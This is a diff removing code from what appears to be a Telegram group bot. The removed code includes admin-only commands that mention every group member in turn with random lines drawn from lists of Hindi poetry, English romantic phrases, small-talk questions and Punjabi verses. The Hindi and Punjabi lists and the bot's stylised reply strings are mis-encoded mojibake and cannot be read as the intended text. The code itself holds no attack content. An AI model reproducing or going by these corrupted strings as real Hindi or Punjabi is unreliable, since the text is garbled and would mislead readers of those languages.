- " **à€®à€€ à€ªà¥à€ à€¯à¥ à€à¥ à€®à¥à€ à€€à¥à€à¥ à€à¥à€²à€Ÿ à€šà€¹à¥à€ à€žà€à€€à€Ÿðð** ",
- " **à€€à¥à€°à¥ à€¯à€Ÿà€Šà¥à€ à€à¥ à€ªà€šà¥à€šà¥ à€à¥ à€®à¥à€ à€à€²à€Ÿ à€šà€¹à¥à€ à€žà€à€€à€Ÿðð** ",
- " **à€žà€à€à€°à¥à€· à€¯à€¹ à€¹à¥ à€à€¿ à€à¥à€Š à€à¥ à€®à€Ÿà€°à€šà€Ÿ à€¹à¥à€à€Ÿð¥°ð¥°** ",
- " **à€à€° à€
à€ªà€šà¥ à€žà¥à€à¥à€š à€à¥ à€à€Ÿà€€à€¿à€° à€€à¥à€à¥ à€°à¥à€²à€Ÿ à€šà€¹à¥à€ à€žà€à€€à€Ÿðð** ",
- " **à€Šà¥à€šà€¿à€¯à€Ÿ à€à¥ à€à€ à€²à€à€Ÿà€šà¥ à€à¥ à¥à€°à¥à€°à€€ à€šà€¹à¥à€ðð** ",
- " **à€šà€Ÿà€²à¥ à€Šà¥à€šà€¿à€¯à€Ÿ à€ªà¥à€°à¥ à€à¥à€®à€Ÿà€µà€Ÿðð** ",
- " **à€€à¥ à€®à¥à€°à¥ à€žà€Ÿà€¥ à€à€žà€² à€à€ à€à¥à€Š à€²à€ à€à€Ÿà€à€à¥ðð** ",
- " **à€€à€°à€ž à€à€¯à¥ à€¹à¥ à€¹à€® à€€à¥à€°à¥ à€®à¥à€à€¹ à€žà¥ à€à¥à€ à€žà¥à€šà€šà¥ à€à¥ à€¹à€®ðð** ",
- " **à€ªà¥à€¯à€Ÿà€° à€à¥ à€¬à€Ÿà€€ à€š à€žà€¹à¥ à€à¥à€ à€¶à€¿à€à€Ÿà€¯à€€ à€¹à¥ à€à€° à€Šà¥ ðð** ",
- " **à€€à¥à€® à€šà€¹à¥à€ à€¹à¥ à€ªà€Ÿà€ž à€®à€à€° à€€à€šà¥à€¹à€Ÿà€ à€°à€Ÿà€€ à€µà€¹à¥ à€¹à¥ â€ïžâ€ïž** ",
- " **à€µà€¹à¥ à€¹à¥ à€à€Ÿà€¹à€€ à€¯à€Ÿà€Šà¥à€ à€à¥ à€¬à€°à€žà€Ÿà€€ à€µà€¹à¥ à€¹à¥ðð** ",
- " **à€¹à€° à€à¥à€¶à¥ à€à¥ à€Šà¥à€° à€¹à¥ à€®à¥à€°à¥ à€à€¶à€¿à€¯à€Ÿà€šà¥ à€žà¥ â€ïžâ€ïž** ",
- " **à€à€Ÿà€®à¥à€¶ à€²à€®à¥à€¹à¥à€ à€®à¥à€ à€Šà€°à¥à€Š-à€-à€¹à€Ÿà€²à€Ÿà€€ à€µà€¹à¥ à€¹à¥ð«ð«** ",
- " **à€à€°à€šà¥ à€²à€à¥ à€à€¬ à€¶à€¿à€à€µà€Ÿ à€à€žà€žà¥ à€à€žà€à¥ à€¬à¥à€µà€«à€Ÿà€ à€à€Ÿðð** ",
- " **à€°à€ à€à€° à€¹à¥à€à€ à€à¥ à€¹à¥à€à€ à€žà¥ à€à€Ÿà€®à¥à€¶ à€à€° à€Šà€¿à€¯à€Ÿðð** ",
- " **à€°à€Ÿà€¹ à€®à¥à€ à€®à€¿à€²à¥ à€¥à¥ à€¹à€®, à€°à€Ÿà€¹à¥à€ à€šà€žà¥à€¬ à€¬à€š à€à€à€ðð** ",
- " **à€šà€Ÿ à€€à¥ à€
à€ªà€šà¥ à€à€° à€à€¯à€Ÿ, à€šà€Ÿ à€¹à€® à€
à€ªà€šà¥ à€à€° à€à€¯à¥ðð** ",
- " **à€€à¥à€®à¥à€¹à¥à€ à€šà¥à€à€Š à€šà€¹à¥à€ à€à€€à¥ à€€à¥ à€à¥à€ à€à€° à€µà€à€¹ à€¹à¥à€à¥ð
ð
** ",
- " **à€
à€¬ à€¹à€° à€à€¬ à€à¥ à€²à€¿à€ à€à€žà¥à€°à€µà€Ÿà€° à€à€¶à¥à€ à€€à¥ à€šà€¹à¥à€ðð** ",
- " **à€
à€šà€Ÿ à€à€¹à€€à¥ à€¹à¥ à€à€²à¥à€€à¥à€à€Ÿ à€à¥à€¯à€Ÿ à€à€°à€šà¥ðð** ",
- " **à€µà¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€¹à¥ à€à¥à€¯à€Ÿ à€à¥ à€®à€¿à€šà¥à€šà€€à¥à€ à€žà¥ à€®à€¿à€²à¥ðð** ",
- " **à€š à€à€Ÿà€¹à€¿à€° à€¹à¥à€ à€€à¥à€®à€žà¥ à€à€° à€š à€¹à¥ à€¬à€¯à€Ÿà€š à€¹à¥à€ à€¹à€®à€žà¥ðð** ",
- " **à€¬à€ž à€žà¥à€²à€à¥ à€¹à¥à€ à€à€à€à¥ à€®à¥à€ à€à€²à€à¥ à€°à€¹à¥ à€®à¥à€¹à€¬à¥à€¬à€€ð¥ºð¥º** ",
- " **à€à¥à€«à¥à€€à€à¥ à€¬à€à€Š à€š à€¹à¥ à€¬à€Ÿà€€ à€žà¥ à€¬à€Ÿà€€ à€à€²à¥ð¥µð¥µ** ",
- " **à€šà€à€°à¥à€ à€®à¥à€ à€°à€¹à¥ à€à¥à€Š à€Šà€¿à€² à€žà¥ à€Šà€¿à€² à€®à€¿à€²à¥ðð** ",
- " **à€¹à¥ à€à€¶à¥à¥ à€à¥ à€®à€à¥à€¿à€² à€®à¥à€ à€¹à€Ÿà€² à€à€¿ à€à¥à€žà¥ðð** ",
- " **à€²à¥à€ à€à€Ÿà€ à€à€¹à¥à€ à€°à€Ÿà€¹ à€®à¥à€ à€žà€Ÿà€®à€Ÿà€š à€à€¿à€žà¥ à€à€Ÿð¥°** ",
- " **à€®à¥à€à€®à¥à€®à€² à€šà€Ÿ à€žà€¹à¥ à€
à€§à¥à€°à€Ÿ à€¹à¥ à€°à€¹à€šà¥ à€Šà¥ðð** ",
- " **à€¯à¥ à€à€¶à¥à¥ à€¹à¥ à€à¥à€ à€®à¥à€žà€Š à€€à¥ à€šà€¹à¥à€ à€¹à¥ð€©ð€©** ",
- " **à€µà€à€¹ à€šà€«à€°à€€à¥à€ à€à¥ à€€à€²à€Ÿà€¶à¥ à€à€Ÿà€€à¥ à€¹à¥ðð** ",
- " **à€®à¥à€¹à€¬à¥à€¬à€€ à€€à¥ à€¬à€¿à€š à€µà€à€¹ à€¹à¥ à€¹à¥ à€à€Ÿà€€à¥ à€¹à¥ ðð** ",
- " **à€žà€¿à€°à¥à€« à€®à€°à¥ à€¹à¥à€ à€®à€à€²à¥ à€à¥ à€¹à¥ à€ªà€Ÿà€šà¥ à€à€Ÿ à€¬à€¹à€Ÿà€µ à€à€²à€Ÿà€€à¥ à€¹à¥ ðð** ",
- " **à€à€¿à€ž à€®à€à€²à¥ à€®à¥à€ à€à€Ÿà€š à€¹à¥à€€à¥ à€¹à¥ à€µà¥ à€
à€ªà€šà€Ÿ à€°à€Ÿà€žà¥à€€à€Ÿ à€à¥à€Š à€€à€¯ à€à€°à€€à¥ à€¹à¥** ",
- " **à€à€Ÿà€®à€¯à€Ÿà€¬ à€²à¥à€à¥à€ à€à¥ à€à¥à€¹à€°à¥à€ à€ªà€° à€Šà¥ à€à¥à€à¥à€ à€¹à¥à€€à¥ à€¹à¥ ðð** ",
- " **à€à€ à€žà€Ÿà€à€²à¥à€à€ž à€à€° à€Šà¥à€žà€°à€Ÿ à€žà¥à€®à€Ÿà€à€²ð€ð€** ",
- " **à€®à¥à€°à¥ à€à€Ÿà€¹à€€ à€Šà¥à€à€šà¥ à€¹à¥ à€€à¥ à€®à¥à€°à¥ à€Šà€¿à€² à€ªà€° à€
à€ªà€šà€Ÿ à€Šà€¿à€² à€°à€à€à€° à€Šà¥à€ðð** ",
- " **à€€à¥à€°à¥ à€§à¥à€à€š à€šà€Ÿ à€à€¡à¥à€à€Ÿà€¯à¥ à€€à¥ à€®à¥à€°à¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€ à¥à€à€°à€Ÿ à€Šà¥à€šà€Ÿð€«ð€«** ",
- " **à€à€²à€€à€«à€¹à€®à¥ à€à¥ à€à¥à€à€à€Ÿà€à€¶ à€šà€¹à¥à€ à€žà€à¥à€à¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€®à¥à€ð€ªð€ª** ",
- " **à€à€¹à€Ÿà€ à€à€¿à€°à€Šà€Ÿà€° à€¹à€²à¥à€à€Ÿ à€¹à¥ à€à€¹à€Ÿà€šà¥ à€¡à¥à€¬ à€à€Ÿà€€à¥ à€¹à¥âºïžâºïž** ",
- " **à€¹à¥à€šà¥ à€Šà¥ à€®à¥à¥à€Ÿà€€à€¿à€¬ à€®à¥à€à¥ à€à€ à€à€š à€¹à¥à€à€à¥ à€žà¥ à€
à€¬à¥à€¬à€Ÿà€žð€ð€** ",
- " **à€¬à€Ÿà€€ à€š à€€à¥ à€¯à¥ à€žà€®à€ à€°à€¹à¥ à€¹à¥ à€ªà€° à€à¥à¥à¥à€€à€à¥ à€à€Ÿà€°à¥ à€¹à¥ð¶ð¶** ",
- " **à€à€Šà€Ÿà€žà€¿à€¯à€Ÿà€ à€à€¶à¥à¥ à€à¥ à€ªà€¹à€à€Ÿà€š à€¹à¥ð€ð€** ",
- " **à€®à¥à€žà¥à€à¥à€°à€Ÿ à€Šà€¿à€ à€€à¥ à€à€¶à¥à¥ à€¬à¥à€°à€Ÿ à€®à€Ÿà€š à€à€Ÿà€¯à¥à€à€Ÿðð** ",
- " **à€à¥à€ à€à€ž à€
à€Šà€Ÿ à€žà¥ à€¹à€Ÿà€² à€žà¥à€šà€Ÿà€šà€Ÿ à€¹à€®à€Ÿà€°à¥ à€Šà€¿à€²ðð** ",
- " **à€µà¥ à€à¥à€Š à€¹à¥ à€à€¹ à€Šà¥ à€à€¿à€Šà¥ à€à¥à€² à€à€Ÿà€šà€Ÿ à€¬à¥à€°à¥ à€¬à€Ÿà€€ à€¹à¥ð¥²** ",
- " **à€®à€Ÿà€šà€Ÿ à€à¥ à€à€žà€žà¥ à€¬à€¿à€à€¡à€Œà€à€° à€¹à€® à€à€®à€° à€à€° à€°à¥à€€à¥ à€°à€¹à¥ð€ð€** ",
- " **à€ªà€° à€®à¥à€°à¥ à€®à€Ÿà€° à€à€Ÿà€šà¥ à€à¥ à€¬à€Ÿà€Š à€à€®à€° à€à€° à€°à¥à€à€à€Ÿ à€µà¥ð
ð
** ",
- " **à€Šà€¿à€² à€®à¥à€ à€€à¥à€®à¥à€¹à€Ÿà€°à¥ à€
à€ªà€šà¥ à€à€à¥ à€à¥à€° à€à€Ÿà€¯à¥à€à€à¥ðð** ",
- " **à€à€à€à¥à€ à€®à¥à€ à€à€à€€à¥à€Ÿà€° à€à¥ à€²à€à¥à€° à€à¥à¥ à€à€Ÿà€¯à¥à€à€à¥ðð** ",
- " **à€à€¿à€žà¥ à€®à€Ÿà€žà¥à€® à€²à€®à¥à€¹à¥ à€®à¥à€ à€à€¿à€žà¥ à€®à€Ÿà€žà¥à€® à€à¥à€¹à€°à¥ à€žà¥ðð** ",
- " **à€®à¥à€¹à€¬à¥à€¬à€€ à€à¥ à€šà€¹à¥à€ à€à€Ÿà€€à¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€¹à¥ à€à€Ÿà€€à¥ à€¹à¥ðð** ",
- " **à€à€°à¥à€¬ à€à€ à€€à¥ à€¶à€Ÿà€¯à€Š à€¹à€® à€žà€®à€ à€²à¥à€à¥ðð** ",
- " **à€¯à¥ à€Šà¥à€°à€¿à€¯à€Ÿ à€€à¥ à€à¥à€µà€² à€«à€žà€²à¥ à€¬à€¢à€Œà€€à¥ à€¹à¥ð€«ð€«** ",
- " **à€€à¥à€°à¥ à€à€¶à¥à¥ à€®à¥à€ à€à€ž à€€à€°à€¹ à€®à¥à€ à€šà¥à€²à€Ÿà€® à€¹à¥ à€à€Ÿà€ð€ð€** ",
- " **à€à€à€°à¥ à€¹à¥ à€®à¥à€°à¥ à€¬à¥à€²à¥ à€à€° à€®à¥à€ à€€à¥à€°à¥ à€šà€Ÿà€® à€¹à¥ à€à€Ÿà€ðð** ",
- " **à€à€ª à€à€¬ à€€à€ à€°à€¹à¥à€à€à¥ à€à€à€à¥à€ à€®à¥à€ à€šà€à€Ÿà€°à€Ÿ à€¬à€šà€à€°ðð** ",
- " **à€°à¥à€ à€à€à€à€à¥ à€®à¥à€°à¥ à€Šà¥à€šà€¿à€¯à€Ÿ à€®à¥à€ à€à€à€Ÿà€²à€Ÿ à€¬à€šà€à€°ð
ð
** ",
- " **à€à€žà¥ à€à€¬ à€žà¥ à€¬à¥à€µà€«à€Ÿà€ à€à¥ à€¹à¥ à€®à¥à€ à€ªà¥à€¯à€Ÿà€° à€à¥ à€°à€Ÿà€¹ à€®à¥à€ à€à€² à€šà€Ÿ à€žà€à€Ÿð
ð
** ",
- " **à€à€žà¥ à€€à¥ à€à€¿à€žà¥ à€à€° à€à€Ÿ à€¹à€Ÿà€¥ à€¥à€Ÿà€® à€²à€¿à€¯à€Ÿà€¬à€ž à€«à€¿à€° à€à€à¥ à€žà€®à¥à€à€² à€šà€¹à¥à€ à€žà€à€Ÿð
ð
** ",
- " **à€à€ à€¹à¥ à¥à¥à€µà€Ÿà€¬ à€Šà¥à€à€Ÿ à€¹à¥ à€à€ à€¬à€Ÿà€° à€®à¥à€à€šà¥ð€¬ð€¬** ",
- " **à€€à¥à€°à¥ à€¶à€Ÿà€Šà¥ à€®à¥à€ à€à€²à€à¥ à€¹à¥ à€à€Ÿà€¹à€¿à€ à€®à¥à€°à¥ à€à€° à€à¥ðð** ",
- " **à€€à¥à€®à¥à€¹à¥ à€®à¥à€°à¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€à¥ à€à€žà€® à€žà€ à€¬à€€à€Ÿà€šà€Ÿðð** ",
- " **à€à€²à¥ à€®à¥à€ à€¡à€Ÿà€² à€à€° à€¬à€Ÿà€¹à¥à€ à€à€¿à€žà€žà¥ à€žà¥à€à€Ÿà€¯à€Ÿ à€¹à¥ðð** ",
- " **à€šà€¹à¥à€ à€ªà€€à€Ÿ à€à¥ à€µà¥ à€à€à¥ à€®à¥à€°à¥ à€¥à¥ à€à¥ à€¯à€Ÿ à€šà€¹à¥à€ðð** ",
- " **à€®à¥à€à¥ à€¯à¥ à€ªà€€à€Ÿ à€¹à¥ à€¬à€ž à€à¥ à€®à€Ÿà€ à€€à¥ à€¥à€Ÿ à€à€®à€° à€¬à€ž à€à€žà¥ à€à€Ÿ à€°à€¹à€Ÿðð** ",
- " **à€€à¥à€®à€šà¥ à€Šà¥à€à€Ÿ à€à€à¥ à€à€Ÿà€à€Š à€žà¥ à€ªà€Ÿà€šà¥ à€à€¿à€°à€€à¥ à€¹à¥à€ðð** ",
- " **à€®à¥à€à€šà¥ à€Šà¥à€à€Ÿ à€¯à¥ à€®à€à¥à€° à€€à¥ à€®à¥à€ à€à¥à€¹à€°à€Ÿ à€§à¥à€€à¥ à€¹à¥à€ðð** ",
- " **à€ à¥à€à€°à€Ÿ à€Šà¥ à€à¥à€ à€à€Ÿà€¹à€€ à€à¥ à€€à¥ à€¹à€ž à€à¥ à€žà€¹ à€²à¥à€šà€Ÿðð** ",
- " **à€ªà¥à€¯à€Ÿà€° à€à¥ à€€à€¬à€¿à€¯à€€ à€®à¥à€ à¥à€¬à€° à€à€žà¥à€€à¥ à€šà€¹à¥à€ à€¹à¥à€€à¥ðð** ",
- " **à€€à¥à€°à€Ÿ à€ªà€€à€Ÿ à€šà€¹à¥à€ à€ªà€° à€®à¥à€°à€Ÿ à€Šà€¿à€² à€à€à¥ à€€à¥à€¯à€Ÿà€° à€šà€¹à¥à€ à€¹à¥à€à€Ÿðð** ",
- " **à€®à¥à€à¥ à€€à¥à€°à¥ à€
à€²à€Ÿà€µà€Ÿ à€à€à¥ à€à€¿à€žà¥ à€à€° à€žà¥ à€ªà¥à€¯à€Ÿà€° à€šà€¹à¥à€ à€¹à¥à€à€Ÿðð** ",
- " **à€Šà€¿à€² à€®à¥à€ à€à€¹à€ à€žà¥ à€¹à¥à€ à€°à¥à€¹ à€®à¥à€ à€Šà€žà¥à€€à€ à€à¥à€à€à¥ð€«ð€«** ",
- " **à€à€¿à€ž à€à¥ à€à¥à€¶à€¬à¥ à€¯à¥ à€®à¥à€à¥ à€®à¥à€°à¥ à€žà€¿à€°à€¹à€Ÿà€šà¥ à€à€ðð** ",
- " **à€à€®à¥à€° à€à€° à€²à€¿à€à€€à¥ à€°à€¹à¥ à€«à€¿à€° à€à¥ à€µà€Ÿà€°à€ à€žà€Šà€Ÿ à€°à€¹à€Ÿðð** ",
- " **à€à€Ÿà€šà¥ à€à€¿à€¯à€Ÿ à€²à€«à¥à¥ à€¥à¥ à€à¥ à€¹à€® à€²à€¿à€ à€šà€¹à¥à€ à€ªà€Ÿà€¯à¥ðð** ",
- " **à€²à€à€Ÿ à€à¥ à€«à¥à€² à€¹à€Ÿà€¥à¥à€ à€žà¥ à€à€žà€šà¥ à€à€¹à€Ÿ à€à¥à€ªà€à¥ à€žà¥ð¶ð¶** ",
- " **à€
à€à€° à€¯à€¹à€Ÿà€ à€à¥à€ à€šà€¹à¥à€ à€¹à¥à€€à€Ÿ à€€à¥ à€«à¥à€² à€à¥ à€à€à€¹ à€€à¥à€® à€¹à¥à€€à¥ðð** ",
- " **à€à€Ÿà€š à€à€¬ à€ªà¥à€¯à€Ÿà€°à¥ à€¥à¥ à€®à€°à€šà¥ à€à€Ÿ à€¶à¥à€ à€¥à€Ÿð¥µð¥µ** ",
- " **à€
à€¬ à€®à€°à€šà¥ à€à€Ÿ à€¶à¥à€ à€¹à¥ à€€à¥ à€à€Ÿà€€à€¿à€² à€šà€¹à¥à€ à€®à€¿à€² à€°à€¹à€Ÿð€«ð€«** ",
- " **à€žà€¿à€°à¥à€« à€¯à€Ÿà€Š à€¬à€šà€à€° à€š à€°à€¹ à€à€Ÿà€¯à¥ à€ªà¥à€¯à€Ÿà€° à€®à¥à€°à€Ÿð¥²ð¥²** ",
- " **à€à€à¥ à€à€à¥ à€à¥à€ à€µà¥à¥à€€ à€à¥ à€²à€¿à€ à€à€¯à€Ÿ à€à€°à¥ðð** ",
- " **à€®à¥à€ à€à¥ à€žà€®à€à€Ÿà€¯à€Ÿ à€šà€Ÿ à€à€°à¥ à€
à€¬ à€€à¥ à€¹à¥ à€à¥à€à¥ à€¹à¥à€ à€®à¥à€ à€®à¥à€ðð** ",
- " **à€®à¥à€¹à€¬à¥à€¬à€€ à€®à€¶à€µà€°à€Ÿ à€¹à¥à€€à¥ à€€à¥ à€€à¥à€® à€žà¥ à€ªà¥à€ à€²à¥à€€à€Ÿðð** ",
- " **à€à€šà¥à€¹à¥à€ à€šà¥ à€à€¹à€Ÿ à€¬à€¹à¥à€€ à€¬à¥à€²à€€à¥ à€¹à¥ à€
à€¬ à€à¥à€¯à€Ÿ à€¬à€°à€ž à€à€Ÿà€à€à¥ðð** ",
- " **à€¹à€®à€šà¥ à€à€¹à€Ÿ à€à€¿à€ž à€Šà€¿à€š à€à¥à€ª à€¹à¥ à€à€¯à€Ÿ à€€à¥à€® à€€à€°à€ž à€à€Ÿà€ à€à€ð¶ð¶** ",
- " **à€à¥à€ à€à€žà¥ à€¹à€žà¥à€Šà¥ à¥à€¿à€šà¥à€Šà€à¥ à€®à¥à€ à€¹à¥à€€à¥ à€¹à¥ð€ð€** ",
- " **à€à¥ à€à€à€žà€Ÿà€š à€€à¥ à€¬à€ à€à€Ÿà€€à€Ÿ à€¹à¥ à€®à€à€° à¥à€¿à€à€Šà€Ÿ à€šà€¹à¥à€ à€°à€¹à€€à€Ÿðð** ",
-]
-
-@client.on(events.NewMessage(pattern="^/stag ?(.*)"))
-async def mention_all(event):
- chat_id = event.chat_id
- if event.is_private:
- return await event.respond(
- "__This command can be used in groups and channels!__"
- )
-
- is_admin = False
- try:
- partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
- except UserNotParticipantError:
- is_admin = False
- else:
- if isinstance(
- partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
- ):
- is_admin = True
- if not is_admin:
- return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
-
- if event.pattern_match.group(1):
- return await event.respond("/stag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
- else:
- mode = "text_on_cmd"
- msg = event.pattern_match.group(1)
- if msg is None:
- return await event.respond(
- "/stag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
- )
-
- spam_chats.append(chat_id)
- async for usr in client.iter_participants(chat_id):
- if not chat_id in spam_chats:
- break
- user_id = usr.id
- mention_text = f"[{usr.first_name}](tg://user?id={user_id}) {random.choice(SRAID)}"
- await client.send_message(chat_id, mention_text)
- time.sleep(5)
-
- try:
- spam_chats.remove(chat_id)
- except:
- pass
-
-
-ROMANTIC = [
- "You are the sunshine that brightens up my life.",
- "Every moment with you is like a beautiful dream.",
- "I am forever grateful for the happiness you bring into my life.",
- "Your smile is the most beautiful thing I've ever seen.",
- "My heart belongs to you, now and forever.",
- "In your arms is where I belong.",
- "You are the missing piece in my life's puzzle.",
- "I love you more than words can express.",
- "You complete me in every way.",
- "You are the love of my life.",
- "Every day with you feels like Valentine's Day.",
- "You make my heart skip a beat.",
- "Your love is a treasure I cherish every day.",
- "I am the luckiest person in the world to have you.",
- "Being with you is like a fairy tale come true.",
- "My love for you grows stronger with each passing day.",
- "You are the reason behind my smile.",
- "I can't imagine my life without you in it.",
- "You are the most beautiful person I know, inside and out.",
- "You are the one I want to spend the rest of my life with.",
- "Your love is like a gentle breeze on a hot summer day.",
- "You are the light of my life.",
- "I fall in love with you more and more every day.",
- "You are the best thing that ever happened to me.",
- "I love you to the moon and back.",
- "Your love is my greatest blessing.",
- "You are the music to my heart's melody.",
- "With you, every moment is special.",
- "You are the star that guides me through life's journey.",
- "I am so grateful to have you in my life.",
- "You make my world a better place.",
- "You are the love story I've always dreamed of.",
- "You are my forever love.",
- "I love you with all my heart and soul.",
- "You are my happily ever after.",
- "You are the one who holds the key to my heart.",
- "You are the reason I believe in love.",
- "You are the sweetest thing in my life.",
- "I want to grow old with you.",
- "You are the most amazing person I know.",
- "You are my heart's desire.",
- "My love for you knows no bounds.",
- "You are my one and only.",
- "You are the fire in my heart.",
- "I love you more than all the stars in the sky.",
- "You are the love that fills my soul.",
- "You are the best part of my life.",
- "I love you with all my heart, mind, and soul.",
- "You are the love of my life, today and always.",
- "You are the reason I wake up with a smile every day.",
- "You are my everything.",
- "You are the light of my life's path.",
- "I love you unconditionally.",
- "You are the answer to all my prayers.",
- "You are the most beautiful person I know.",
- "You are the love that completes me.",
- "You are my heart's true desire.",
- "You are the love of my past, present, and future.",
- "I am forever thankful for your love.",
- "You are the melody of my heart.",
- "You are my greatest love story.",
- "You are the reason I believe in forever.",
- "I love you more than words can express.",
- "You are the love of my life, and I cherish every moment with you.",
- "You are the one I want to grow old with.",
- "You are the most precious gift in my life.",
- "You are the love that makes my heart sing.",
- "I love you more and more each day.",
- "You are my one and only true love.",
- "You are the warmth in my heart on a cold night.",
- "You are the love that makes my life complete.",
- "You are my forever love, and I am yours.",
- "You are the love of my dreams.",
- "You are my heart's greatest joy.",
- "You are the love that lights up my world.",
- "You are the love that fills my heart with happiness.",
- "I love you with all my heart, and I always will.",
- "You are the love that makes my life beautiful.",
- "You are the love that makes every day special.",
- "You are the love that makes my heart beat faster.",
- "You are the love that I will cherish forever.",
- "You are the love that gives my life meaning.",
- "You are the love that makes my life complete.",
- "You are the love that I will love for all eternity.",
- "You are the love that I have been searching for.",
- "You are the love that makes my world a better place.",
- "You are the love that makes me smile every day.",
- "You are the love that I will never let go of.",
- "You are the love that I want to spend my life with.",
- "You are the love that makes my heart sing with joy.",
- "You are the love that I am grateful for every day.",
- "You are the love that I will cherish forever.",
- "You are the love that completes me.",
-]
-
-@client.on(events.NewMessage(pattern="^/rtag ?(.*)"))
-async def mention_all(event):
- chat_id = event.chat_id
- if event.is_private:
- return await event.respond(
- "__This command can be used in groups and channels!__"
- )
-
- is_admin = False
- try:
- partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
- except UserNotParticipantError:
- is_admin = False
- else:
- if isinstance(
- partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
- ):
- is_admin = True
- if not is_admin:
- return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
-
- if event.pattern_match.group(1):
- return await event.respond("/rtag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
- else:
- mode = "text_on_cmd"
- msg = event.pattern_match.group(1)
- if msg is None:
- return await event.respond(
- "/rtag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
- )
-
- spam_chats.append(chat_id)
- async for usr in client.iter_participants(chat_id):
- if not chat_id in spam_chats:
- break
- user_id = usr.id
- mention_text = f"[{usr.first_name}](tg://user?id={user_id}) {random.choice(ROMANTIC)}"
- await client.send_message(chat_id, mention_text)
- time.sleep(5)
-
- try:
- spam_chats.remove(chat_id)
- except:
- pass
-
-CONVEY = [
- "How's it going?",
- "What have you been up to lately?",
- "Do you come here often?",
- "I'm sorry, I didn't catch that. Could you please repeat it?",
- "How was your day?",
- "Can you believe this weather?",
- "Have you heard the latest news?",
- "What's your favorite type of music?",
- "Do you have any plans for the weekend?",
- "What do you do for a living?",
- "I'm a bit tired today. How about you?",
- "What's your favorite movie of all time?",
- "Do you enjoy cooking?",
- "Where are you originally from?",
- "What's your favorite book?",
- "Do you have any siblings?",
- "Have you traveled anywhere interesting recently?",
- "What's your favorite place to eat in town?",
- "How do you like to spend your free time?",
- "Do you have any pets?",
- "Have you ever been to [insert a place]?",
- "What's the most adventurous thing you've done?",
- "Do you like going to concerts?",
- "How do you stay motivated?",
- "What's your dream vacation destination?",
- "Have you tried any new hobbies recently?",
- "Do you prefer coffee or tea?",
- "What's your favorite season?",
- "What's your favorite sport?",
- "What's your go-to karaoke song?",
- "Are you a morning person or a night owl?",
- "Do you like to dance?",
- "What's your favorite holiday?",
- "Do you enjoy hiking?",
- "What's the last movie you watched?",
- "Do you like video games?",
- "What's your favorite board game?",
- "Are you a cat person or a dog person?",
- "Do you believe in aliens?",
- "What's your favorite childhood memory?",
- "What's the best advice you've ever received?",
- "Do you like spicy food?",
- "What's your favorite dessert?",
- "Do you enjoy gardening?",
- "What's the most beautiful place you've been to?",
- "Do you have a favorite quote?",
- "What's your biggest accomplishment?",
- "Do you have a hidden talent?",
- "What's the most interesting book you've read recently?",
- "Are you into fitness?",
- "What's your favorite workout?",
- "What's your favorite type of art?",
- "What's your dream job?",
- "Do you like attending live events?",
- "What's your favorite way to relax?",
- "Do you have any phobias?",
- "What's your favorite type of cuisine?",
- "What's your favorite app on your phone?",
- "Do you like to take photos?",
- "What's your favorite social media platform?",
- "Do you like to cook or order takeout?",
- "What's your favorite childhood TV show?",
- "Do you enjoy stargazing?",
- "What's your favorite planet?",
- "What's your favorite quote from a movie?",
-]
-
-
-@client.on(events.NewMessage(pattern="^/ctag ?(.*)"))
-async def mention_all(event):
- chat_id = event.chat_id
- if event.is_private:
- return await event.respond(
- "__This command can be used in groups and channels!__"
- )
-
- is_admin = False
- try:
- partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
- except UserNotParticipantError:
- is_admin = False
- else:
- if isinstance(
- partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
- ):
- is_admin = True
- if not is_admin:
- return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
-
- if event.pattern_match.group(1):
- return await event.respond("/ctag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
- else:
- mode = "text_on_cmd"
- msg = event.pattern_match.group(1)
- if msg is None:
- return await event.respond(
- "/ctag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
- )
-
- spam_chats.append(chat_id)
- async for usr in client.iter_participants(chat_id):
- if not chat_id in spam_chats:
- break
- user_id = usr.id
- mention_text = f"[{usr.first_name}](tg://user?id={user_id}) {random.choice(CONVEY)}"
- await client.send_message(chat_id, mention_text)
- time.sleep(5)
-
- try:
- spam_chats.remove(chat_id)
- except:
- pass
-
-
-PUNJABI = [
- "àš€à©à©° àš®à©àš°à© àšàšàšŸàš àšŠà© àšà©°àš¬àš², àš®à©àš àš€à©àš°àšŸ àšŠàš¿àš² àšŠàšŸ àšà©àš€àšŸ àšà©±àš àšà©àššàšŸà¥€",
- "àš€à©àš°à© àš¬àš¿àššàšŸ àšà©àš£àšŸ àšžàšµàšŸàš°àšŸ, àš°à©°àšà© àšŠà©àššà©àš àšµàš¿àš àš¬àšžàšŸàš°àšŸà¥€",
- "àš€à©à©° àš®à©àš°à© àšŠàš¿àš² àšŠà© àš§à©àšàšš, àš€à©à©° àš®à©àš°àšŸ àšà©±àš¶àš àšŠàšŸ àšàšµàšŸàš¬à¥€",
